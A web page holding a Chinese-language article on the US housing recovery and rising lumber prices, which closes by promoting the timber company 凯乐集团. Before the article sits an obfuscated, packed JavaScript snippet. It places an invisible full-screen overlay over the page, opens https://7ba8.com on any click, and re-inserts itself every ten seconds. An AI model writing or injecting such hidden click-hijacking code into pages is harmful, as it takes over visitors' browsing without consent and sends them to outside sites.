<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>当前美国经济发展的趋势，给予金融危机以来萎靡的世界经济越来越强的信心，特别是美国房地产持续上升的强劲复苏景象十分鼓舞士气，带动着各个产业出现了空前活跃的气象，上游产业的木材市场更是持续看好。
根据OECD数据显示，美国今年经济料增长1.9%，2014年增速预加快至2.8%，将创下2005年以来最大增幅。美国经济复苏从房产起步，经历了2008年次贷危机之后，2012年起，美国房地产市场一直稳步复苏，在联邦政府一系列宽松政策的刺激下，各项指标逐步回到了08年金融危机之前的水平。
美国加利福尼亚州房地产分析机构CoreLogic发布的数据显示，今年5月美国的房价比4月上涨了2.6%，比上一年的同期增长了12.2%，为2006年2月以来美国房价的最大同比涨幅。旧金山涨幅达24%，洛杉矶达到19%，曼哈顿更是创下金融危机前2007年的30%惊人涨幅。
在房价持续上涨的走势中，无论是商业地产交易价格还是住宅市场都呈现量价齐升的态势。根据银河证券和国泰君安的统计数据，五大关键性指标近期集体创出阶段新高。5月新屋销售年化增长2.1%至47.6万户，达到2008年年中以来高点；5月成屋销售518万套，创2009年11月以来最高；5月成屋签约销售指数112.3，为2006年12月以来最高；一季度美国个人住宅投资占GDP增长的五分之一，房地产对经济的拉动力上升到最近3年的最高值；代表市场预期的NAHB 住宅市场指数则完全收复2007年次贷危机时的高点，重新回到2006年中期水平。
美国市场人士认为，房地产市场销售量和价格同步上涨的势头在今年夏天仍将继续。业内专家认为，预期未来数年，美国房地产市场仍将有良好的表现。而美国商务部最新公布的新屋开工数量显示，4月，全美新屋开工数量达853，000座。该数据自去年9月迈上800，000的台阶以来，已连续8个月维持在850，000以上。
美国房地产市场持续复苏，从房地产开发商，到建材商，再到家装企业，无不在分享这一场房产复苏带来的牛市盛宴。从美国建材市场看，受美国房地产复苏的推动，北美地区木材价格在四月中旬时上涨至九年半以来的最高位，木材市场显现出蒸蒸日上的大好局面。
根据美国房产每月以新开工房屋85万座计算，每座房屋造价25万美元，美国房屋30%的成本为木材，美国松木价格预计到2014年底上升30%，因此，因房屋新开工数量和木材价格优势带来的利润空间每个月平均增加191万美元。
2014年底，世界松木巨头凯乐集团美国佛罗里达州加工中心的将建成投产，这将是其进驻北美木材市场最有利的时机。凯乐集团董事会***远瞩，也正是看好了美国建筑木材市场的远大发展前景，而这一前景带来的商业利润也许还远高于预估。
加拿大银行 TD Economics分析师Dina Ignjatovic就认为“市场对木材的需求量将在接下来的几个月中出现反弹，尤其是美国市场。伴随着新开工房屋的季节性调整，在2014年底将达到130万，美国有望继续成为木材行业长足发展持久的推动力。” |
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